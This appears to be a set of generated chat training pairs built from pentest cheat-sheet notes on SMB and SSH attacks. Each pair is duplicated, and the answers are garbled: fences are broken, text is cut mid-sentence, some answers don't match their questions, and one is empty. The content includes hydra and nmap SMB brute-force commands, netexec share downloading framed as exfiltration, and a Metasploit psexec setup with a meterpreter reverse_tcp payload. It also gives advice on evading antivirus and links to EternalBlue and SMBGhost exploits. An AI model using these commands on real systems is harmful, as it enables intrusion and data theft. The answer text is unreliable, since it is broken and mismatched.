[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What is 🛠 SMB - Bruteforce?

[Assistant]
Tools like hydra, metasploit or nmap can be used to operate authentication bruteforce attacks.

> [!WARNING]
> In addition to not being stealthy at all, and depending on the password policy rules in place, bruteforcing authentication could lead to accounts getting locked out when reaching maximum allowed tries.

```bash

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response:
Tools like hydra, metasploit or nmap can be used to operate authentication bruteforce attacks.

> [!WARNING]
> In addition to not being stealthy at all, and depending on the password policy rules in place, bruteforcing authentication could lead to accounts getting locked out when reaching maximum allowed tries.

```bash


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Show me how to do 🛠 SMB - Bruteforce

[Assistant]
Tools like hydra, metasploit or nmap can be used to operate authentication bruteforce attacks.

> [!WARNING]
> In addition to not being stealthy at all, and depending on the password policy rules in place, bruteforcing authentication could lead to accounts getting locked out when reaching maximum allowed tries.

```bash

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response:
Tools like hydra, metasploit or nmap can be used to operate authentication bruteforce attacks.

> [!WARNING]
> In addition to not being stealthy at all, and depending on the password policy rules in place, bruteforcing authentication could lead to accounts getting locked out when reaching maximum allowed tries.

```bash


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Explain hydra

[Assistant] hydra -L usernames.txt -P passwords.txt $IP -V -f smb

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response: hydra -L usernames.txt -P passwords.txt $IP -V -f smb


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Show me how to do hydra

[Assistant] hydra -L usernames.txt -P passwords.txt $IP -V -f smb

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response: hydra -L usernames.txt -P passwords.txt $IP -V -f smb


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Explain nmap

[Assistant]
nmap --script smb-brute -p 445 $IP
```

Valid credentials can then be used to list accessible shares and enumerate the contents of the shares the account has access to.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response:
nmap --script smb-brute -p 445 $IP
```

Valid credentials can then be used to list accessible shares and enumerate the contents of the shares the account has access to.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How would I carry out nmap during a pentest?

[Assistant]
nmap --script smb-brute -p 445 $IP
```

Valid credentials can then be used to list accessible shares and enumerate the contents of the shares the account has access to.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How would I carry out nmap during a pentest?

Response:
nmap --script smb-brute -p 445 $IP
```

Valid credentials can then be used to list accessible shares and enumerate the contents of the shares the account has access to.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What should I know about 🛠 SMB - Data exfiltration?

[Assistant]
Tools like smbclient and NetExec can be used to recursively download a SMB share's content.

```bash

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What should I know about 🛠 SMB - Data exfiltration?

Response:
Tools like smbclient and NetExec can be used to recursively download a SMB share's content.

```bash


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How would I carry out 🛠 SMB - Data exfiltration during a pentest?

[Assistant]
Tools like smbclient and NetExec can be used to recursively download a SMB share's content.

```bash

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How would I carry out 🛠 SMB - Data exfiltration during a pentest?

Response:
Tools like smbclient and NetExec can be used to recursively download a SMB share's content.

```bash


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What should I know about With netexec?

[Assistant]
netexec smb $TARGETS -u $USERNAME -p $PASSWORD -M spider_plus -o READ_ONLY=False
```

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response:
netexec smb $TARGETS -u $USERNAME -p $PASSWORD -M spider_plus -o READ_ONLY=False
```


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Walk me through With netexec

[Assistant]
netexec smb $TARGETS -u $USERNAME -p $PASSWORD -M spider_plus -o READ_ONLY=False
```

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response:
netexec smb $TARGETS -u $USERNAME -p $PASSWORD -M spider_plus -o READ_ONLY=False
```


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What should I know about 🛠 SMB - 🛠 Authenticated RCE?

[Assistant]
PSExec exploit module runs on the same principle as the PSExec Windows utility. The exploit embeds a payload into an executable, upload it into the Admin$ share. It then calls the Service Control Manager to approximately start a new rundll32.exe process that will execute our malicious executable.

``
msf > use exploit/windows/smb/psexec
msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp
msf exploit(psexec) > show options
Module options:

 Name Current Setting Required Description
 ---- --------------- -------- -----------
 RHOST 192.168.57.131 yes The target address
 RPORT 445 yes Set the SMB service port
 SMBPass no The password for the specified username
 SMBUser Administrator yes The username to authenticate as
`

> [!CAUTION]
> Privileged user credentials required.

> [!CAUTION]
> File uploading, creating, starting, stopping, deletion of services makes it really noisy.

Smbexec works like Psexec, but instead of trying to execute an uploaded executable inside the share, it will try to use directly the binaries _cmd.exe/powershell.exe_. The exploit create an arbitrary service with the _Service File Name_ attribute set to a command string to execute. It echoes the command to be executed to a .bat file, execute it and delete it.

The exploit then get the output of the command via Smb and displays the content. For every command, a new service is created.

https://github.com/SecureAuthCorp/impacket/blob/master/examples/smbexec.py

> [!TIP]
> %COMSPEC% is the environment variable that generaly points to the command line interpreter. (_cmd.exe, powershell.exe_...)

> [!TIP]
> The purpose of using /Q option of cmd is to stop displaying output. (je crois que ça veut dire /quiet à vérifier)

> [!CAUTION]
> Prioritize using Smbexec when you detect a strong AV, cmd.exe`is a trusted component of the operating system.

> [!CAUTION]
> Privileged user credentials required.

Windows Management Instrumentation is a subsystem of PowerShell that gives high privileged

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What should I know about 🛠 SMB - 🛠 Authenticated RCE?

Response:
PSExec exploit module runs on the same principle as the PSExec Windows utility. The exploit embeds a payload into an executable, upload it into the Admin$ share. It then calls the Service Control Manager to approximately start a new rundll32.exe process that will execute our malicious executable.

``
msf > use exploit/windows/smb/psexec
msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp
msf exploit(psexec) > show options
Module options:

 Name Current Setting Required Description
 ---- --------------- -------- -----------
 RHOST 192.168.57.131 yes The target address
 RPORT 445 yes Set the SMB service port
 SMBPass no The password for the specified username
 SMBUser Administrator yes The username to authenticate as
`

> [!CAUTION]
> Privileged user credentials required.

> [!CAUTION]
> File uploading, creating, starting, stopping, deletion of services makes it really noisy.

Smbexec works like Psexec, but instead of trying to execute an uploaded executable inside the share, it will try to use directly the binaries _cmd.exe/powershell.exe_. The exploit create an arbitrary service with the _Service File Name_ attribute set to a command string to execute. It echoes the command to be executed to a .bat file, execute it and delete it.

The exploit then get the output of the command via Smb and displays the content. For every command, a new service is created.

https://github.com/SecureAuthCorp/impacket/blob/master/examples/smbexec.py

> [!TIP]
> %COMSPEC% is the environment variable that generaly points to the command line interpreter. (_cmd.exe, powershell.exe_...)

> [!TIP]
> The purpose of using /Q option of cmd is to stop displaying output. (je crois que ça veut dire /quiet à vérifier)

> [!CAUTION]
> Prioritize using Smbexec when you detect a strong AV, cmd.exe`is a trusted component of the operating system.

> [!CAUTION]
> Privileged user credentials required.

Windows Management Instrumentation is a subsystem of PowerShell that gives high privileged


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Walk me through 🛠 SMB - 🛠 Authenticated RCE

[Assistant]
PSExec exploit module runs on the same principle as the PSExec Windows utility. The exploit embeds a payload into an executable, upload it into the Admin$ share. It then calls the Service Control Manager to approximately start a new rundll32.exe process that will execute our malicious executable.

``
msf > use exploit/windows/smb/psexec
msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp
msf exploit(psexec) > show options
Module options:

 Name Current Setting Required Description
 ---- --------------- -------- -----------
 RHOST 192.168.57.131 yes The target address
 RPORT 445 yes Set the SMB service port
 SMBPass no The password for the specified username
 SMBUser Administrator yes The username to authenticate as
`

> [!CAUTION]
> Privileged user credentials required.

> [!CAUTION]
> File uploading, creating, starting, stopping, deletion of services makes it really noisy.

Smbexec works like Psexec, but instead of trying to execute an uploaded executable inside the share, it will try to use directly the binaries _cmd.exe/powershell.exe_. The exploit create an arbitrary service with the _Service File Name_ attribute set to a command string to execute. It echoes the command to be executed to a .bat file, execute it and delete it.

The exploit then get the output of the command via Smb and displays the content. For every command, a new service is created.

https://github.com/SecureAuthCorp/impacket/blob/master/examples/smbexec.py

> [!TIP]
> %COMSPEC% is the environment variable that generaly points to the command line interpreter. (_cmd.exe, powershell.exe_...)

> [!TIP]
> The purpose of using /Q option of cmd is to stop displaying output. (je crois que ça veut dire /quiet à vérifier)

> [!CAUTION]
> Prioritize using Smbexec when you detect a strong AV, cmd.exe`is a trusted component of the operating system.

> [!CAUTION]
> Privileged user credentials required.

Windows Management Instrumentation is a subsystem of PowerShell that gives high privileged

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Walk me through 🛠 SMB - 🛠 Authenticated RCE

Response:
PSExec exploit module runs on the same principle as the PSExec Windows utility. The exploit embeds a payload into an executable, upload it into the Admin$ share. It then calls the Service Control Manager to approximately start a new rundll32.exe process that will execute our malicious executable.

``
msf > use exploit/windows/smb/psexec
msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp
msf exploit(psexec) > show options
Module options:

 Name Current Setting Required Description
 ---- --------------- -------- -----------
 RHOST 192.168.57.131 yes The target address
 RPORT 445 yes Set the SMB service port
 SMBPass no The password for the specified username
 SMBUser Administrator yes The username to authenticate as
`

> [!CAUTION]
> Privileged user credentials required.

> [!CAUTION]
> File uploading, creating, starting, stopping, deletion of services makes it really noisy.

Smbexec works like Psexec, but instead of trying to execute an uploaded executable inside the share, it will try to use directly the binaries _cmd.exe/powershell.exe_. The exploit create an arbitrary service with the _Service File Name_ attribute set to a command string to execute. It echoes the command to be executed to a .bat file, execute it and delete it.

The exploit then get the output of the command via Smb and displays the content. For every command, a new service is created.

https://github.com/SecureAuthCorp/impacket/blob/master/examples/smbexec.py

> [!TIP]
> %COMSPEC% is the environment variable that generaly points to the command line interpreter. (_cmd.exe, powershell.exe_...)

> [!TIP]
> The purpose of using /Q option of cmd is to stop displaying output. (je crois que ça veut dire /quiet à vérifier)

> [!CAUTION]
> Prioritize using Smbexec when you detect a strong AV, cmd.exe`is a trusted component of the operating system.

> [!CAUTION]
> Privileged user credentials required.

Windows Management Instrumentation is a subsystem of PowerShell that gives high privileged


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] What is the msf syntax for 🛠 smb - 🛠 authenticated rce?

[Assistant]
msf > use exploit/windows/smb/psexec
msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp
msf exploit(psexec) > show options
Module options:

 Name Current Setting Required Description
 ---- --------------- -------- -----------
 RHOST 192.168.57.131 yes The target address
 RPORT 445 yes Set the SMB service port
 SMBPass no The password for the specified username
 SMBUser Administrator yes The username to authenticate as

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

What is the msf syntax for 🛠 smb - 🛠 authenticated rce?

Response:
msf > use exploit/windows/smb/psexec
msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp
msf exploit(psexec) > show options
Module options:

 Name Current Setting Required Description
 ---- --------------- -------- -----------
 RHOST 192.168.57.131 yes The target address
 RPORT 445 yes Set the SMB service port
 SMBPass no The password for the specified username
 SMBUser Administrator yes The username to authenticate as


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Explain the practical steps for 🛠 SMB - 🛠 Authenticated RCE

[Assistant]
msf > use exploit/windows/smb/psexec
msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp
msf exploit(psexec) > show options
Module options:

 Name Current Setting Required Description
 ---- --------------- -------- -----------
 RHOST 192.168.57.131 yes The target address
 RPORT 445 yes Set the SMB service port
 SMBPass no The password for the specified username
 SMBUser Administrator yes The username to authenticate as

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Explain the practical steps for 🛠 SMB - 🛠 Authenticated RCE

Response:
msf > use exploit/windows/smb/psexec
msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp
msf exploit(psexec) > show options
Module options:

 Name Current Setting Required Description
 ---- --------------- -------- -----------
 RHOST 192.168.57.131 yes The target address
 RPORT 445 yes Set the SMB service port
 SMBPass no The password for the specified username
 SMBUser Administrator yes The username to authenticate as


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `msf > use exploit/windows/smb/psexec`?

[Assistant] This command is used for 🛠 smb - 🛠 authenticated rce. 🛠 Authenticated RCE

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `msf > use exploit/windows/smb/psexec`?

Response: This command is used for 🛠 smb - 🛠 authenticated rce. 🛠 Authenticated RCE


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What should I know about 🛠 SMB - 🛠 Unauthenticated RCE?

[Assistant]
Eternalblue is a flaw that allows remote attackers to execute arbitrary code on a target system by sending specially crafted messages to the SMBv1 server. Other related exploits were labelled asEternalchampion, Eternalromance and Eternalsynergy.

https://github.com/worawit/MS17-010

Smbghost is a bug occuring in the decompression mechanism of client message to a SMBv3.11 server. This bug leads remotely and without any authentication to a BSOD or an RCE on the target.

https://blog.zecops.com/vulnerabilities/exploiting-smbghost-cve-2020-0796-for-a-local-privilege-escalation-writeup-and-poc/

https://github.com/ZecOps/CVE-2020-0796-RCE-POC

Smbleed allows to leak kernel memory remotely, it is also occuring in the same decompression mechanism as smbghost.

In order for the target to be vulnerable, it must have the SMBv3.1.1 implementation running and the compression function enabled, which is on by default.

https://blog.zecops.com/vulnerabilities/smbleedingghost-writeup-chaining-smbleed-cve-2020-1206-with-smbghost/

https://github.com/ZecOps/CVE-2020-1206-POC

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What should I know about 🛠 SMB - 🛠 Unauthenticated RCE?

Response:
Eternalblue is a flaw that allows remote attackers to execute arbitrary code on a target system by sending specially crafted messages to the SMBv1 server. Other related exploits were labelled asEternalchampion, Eternalromance and Eternalsynergy.

https://github.com/worawit/MS17-010

Smbghost is a bug occuring in the decompression mechanism of client message to a SMBv3.11 server. This bug leads remotely and without any authentication to a BSOD or an RCE on the target.

https://blog.zecops.com/vulnerabilities/exploiting-smbghost-cve-2020-0796-for-a-local-privilege-escalation-writeup-and-poc/

https://github.com/ZecOps/CVE-2020-0796-RCE-POC

Smbleed allows to leak kernel memory remotely, it is also occuring in the same decompression mechanism as smbghost.

In order for the target to be vulnerable, it must have the SMBv3.1.1 implementation running and the compression function enabled, which is on by default.

https://blog.zecops.com/vulnerabilities/smbleedingghost-writeup-chaining-smbleed-cve-2020-1206-with-smbghost/

https://github.com/ZecOps/CVE-2020-1206-POC


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How do I perform 🛠 SMB - 🛠 Unauthenticated RCE?

[Assistant]
Eternalblue is a flaw that allows remote attackers to execute arbitrary code on a target system by sending specially crafted messages to the SMBv1 server. Other related exploits were labelled asEternalchampion, Eternalromance and Eternalsynergy.

https://github.com/worawit/MS17-010

Smbghost is a bug occuring in the decompression mechanism of client message to a SMBv3.11 server. This bug leads remotely and without any authentication to a BSOD or an RCE on the target.

https://blog.zecops.com/vulnerabilities/exploiting-smbghost-cve-2020-0796-for-a-local-privilege-escalation-writeup-and-poc/

https://github.com/ZecOps/CVE-2020-0796-RCE-POC

Smbleed allows to leak kernel memory remotely, it is also occuring in the same decompression mechanism as smbghost.

In order for the target to be vulnerable, it must have the SMBv3.1.1 implementation running and the compression function enabled, which is on by default.

https://blog.zecops.com/vulnerabilities/smbleedingghost-writeup-chaining-smbleed-cve-2020-1206-with-smbghost/

https://github.com/ZecOps/CVE-2020-1206-POC

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How do I perform 🛠 SMB - 🛠 Unauthenticated RCE?

Response:
Eternalblue is a flaw that allows remote attackers to execute arbitrary code on a target system by sending specially crafted messages to the SMBv1 server. Other related exploits were labelled asEternalchampion, Eternalromance and Eternalsynergy.

https://github.com/worawit/MS17-010

Smbghost is a bug occuring in the decompression mechanism of client message to a SMBv3.11 server. This bug leads remotely and without any authentication to a BSOD or an RCE on the target.

https://blog.zecops.com/vulnerabilities/exploiting-smbghost-cve-2020-0796-for-a-local-privilege-escalation-writeup-and-poc/

https://github.com/ZecOps/CVE-2020-0796-RCE-POC

Smbleed allows to leak kernel memory remotely, it is also occuring in the same decompression mechanism as smbghost.

In order for the target to be vulnerable, it must have the SMBv3.1.1 implementation running and the compression function enabled, which is on by default.

https://blog.zecops.com/vulnerabilities/smbleedingghost-writeup-chaining-smbleed-cve-2020-1206-with-smbghost/

https://github.com/ZecOps/CVE-2020-1206-POC


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Give me an overview of 🛠 SSH - Theory

[Assistant] The SSH protocol (Secure Shell) is used to login from one machine to another securely. It offers several options for strong authentication, as it protects the connections and communications security and integrity with strong encryption. This connection can be used for terminal access, file transfers, and for tunneling other applications.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response: The SSH protocol (Secure Shell) is used to login from one machine to another securely. It offers several options for strong authentication, as it protects the connections and communications security and integrity with strong encryption. This connection can be used for terminal access, file transfers, and for tunneling other applications.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How would I carry out 🛠 SSH - Theory during a pentest?

[Assistant] The SSH protocol (Secure Shell) is used to login from one machine to another securely. It offers several options for strong authentication, as it protects the connections and communications security and integrity with strong encryption. This connection can be used for terminal access, file transfers, and for tunneling other applications.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How would I carry out 🛠 SSH - Theory during a pentest?

Response: The SSH protocol (Secure Shell) is used to login from one machine to another securely. It offers several options for strong authentication, as it protects the connections and communications security and integrity with strong encryption. This connection can be used for terminal access, file transfers, and for tunneling other applications.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What should I know about 🛠 SSH - Authentication type?

[Assistant]
It is possible to enumerate the allowed authentication types with the following command:

``bash
ssh -v
OpenSSH_8.1p1, OpenSSL 1.1.1d 10 Sep 2019
...
debug1: Authentications that can continue: publickey,password,keyboard-interactive
``

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What should I know about 🛠 SSH - Authentication type?

Response:
It is possible to enumerate the allowed authentication types with the following command:

``bash
ssh -v
OpenSSH_8.1p1, OpenSSL 1.1.1d 10 Sep 2019
...
debug1: Authentications that can continue: publickey,password,keyboard-interactive
``


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How to execute 🛠 SSH - Authentication type?

[Assistant]
It is possible to enumerate the allowed authentication types with the following command:

``bash
ssh -v
OpenSSH_8.1p1, OpenSSL 1.1.1d 10 Sep 2019
...
debug1: Authentications that can continue: publickey,password,keyboard-interactive
``

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How to execute 🛠 SSH - Authentication type?

Response:
It is possible to enumerate the allowed authentication types with the following command:

``bash
ssh -v
OpenSSH_8.1p1, OpenSSL 1.1.1d 10 Sep 2019
...
debug1: Authentications that can continue: publickey,password,keyboard-interactive
``


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] Give me the ssh command to 🛠 ssh - authentication type

[Assistant]
ssh -v
OpenSSH_8.1p1, OpenSSL 1.1.1d 10 Sep 2019
...
debug1: Authentications that can continue: publickey,password,keyboard-interactive

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

Give me the ssh command to 🛠 ssh - authentication type

Response:
ssh -v
OpenSSH_8.1p1, OpenSSL 1.1.1d 10 Sep 2019
...
debug1: Authentications that can continue: publickey,password,keyboard-interactive


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Walk me through 🛠 SSH - Authentication type

[Assistant]
ssh -v
OpenSSH_8.1p1, OpenSSL 1.1.1d 10 Sep 2019
...
debug1: Authentications that can continue: publickey,password,keyboard-interactive

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Walk me through 🛠 SSH - Authentication type

Response:
ssh -v
OpenSSH_8.1p1, OpenSSL 1.1.1d 10 Sep 2019
...
debug1: Authentications that can continue: publickey,password,keyboard-interactive


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `ssh -v`?

[Assistant] This command is used for 🛠 ssh - authentication type. Authentication type

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response: This command is used for 🛠 ssh - authentication type. Authentication type


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Describe 🛠 SSH - Banner Grabbing in the context of penetration testing

[Assistant]
Useful to get basic information about the SSH server such as its type and version.

``bash
nc -vn  22
...
SSH-2.0-OpenSSH_7.4p1 Debian-10+deb9u7
``

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Describe 🛠 SSH - Banner Grabbing in the context of penetration testing

Response:
Useful to get basic information about the SSH server such as its type and version.

``bash
nc -vn  22
...
SSH-2.0-OpenSSH_7.4p1 Debian-10+deb9u7
``


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How to execute 🛠 SSH - Banner Grabbing?

[Assistant]
Useful to get basic information about the SSH server such as its type and version.

``bash
nc -vn  22
...
SSH-2.0-OpenSSH_7.4p1 Debian-10+deb9u7
``

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response:
Useful to get basic information about the SSH server such as its type and version.

``bash
nc -vn  22
...
SSH-2.0-OpenSSH_7.4p1 Debian-10+deb9u7
``


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] What is the nc syntax for 🛠 ssh - banner grabbing?

[Assistant]
nc -vn  22
...
SSH-2.0-OpenSSH_7.4p1 Debian-10+deb9u7

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

What is the nc syntax for 🛠 ssh - banner grabbing?

Response:
nc -vn  22
...
SSH-2.0-OpenSSH_7.4p1 Debian-10+deb9u7


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How do I perform 🛠 SSH - Banner Grabbing?

[Assistant]
nc -vn  22
...
SSH-2.0-OpenSSH_7.4p1 Debian-10+deb9u7

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How do I perform 🛠 SSH - Banner Grabbing?

Response:
nc -vn  22
...
SSH-2.0-OpenSSH_7.4p1 Debian-10+deb9u7


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `nc -vn  22`?

[Assistant] This command is used for 🛠 ssh - banner grabbing. Banner Grabbing

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `nc -vn  22`?

Response: This command is used for 🛠 ssh - banner grabbing. Banner Grabbing


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] Give me the ssh-keyscan command to 🛠 ssh - server's public ssh key

[Assistant] ssh-keyscan -t rsa  -p

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

Give me the ssh-keyscan command to 🛠 ssh - server's public ssh key

Response: ssh-keyscan -t rsa  -p


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Show me how to do 🛠 SSH - Server's public SSH key

[Assistant] ssh-keyscan -t rsa  -p

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Show me how to do 🛠 SSH - Server's public SSH key

Response: ssh-keyscan -t rsa  -p


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `ssh-keyscan -t rsa  -p`?

[Assistant] This command is used for 🛠 ssh - server's public ssh key. Server's public SSH key

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `ssh-keyscan -t rsa  -p`?

Response: This command is used for 🛠 ssh - server's public ssh key. Server's public SSH key


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] How does 🛠 SSH - Weak Cipher Algorithms work?

[Assistant]
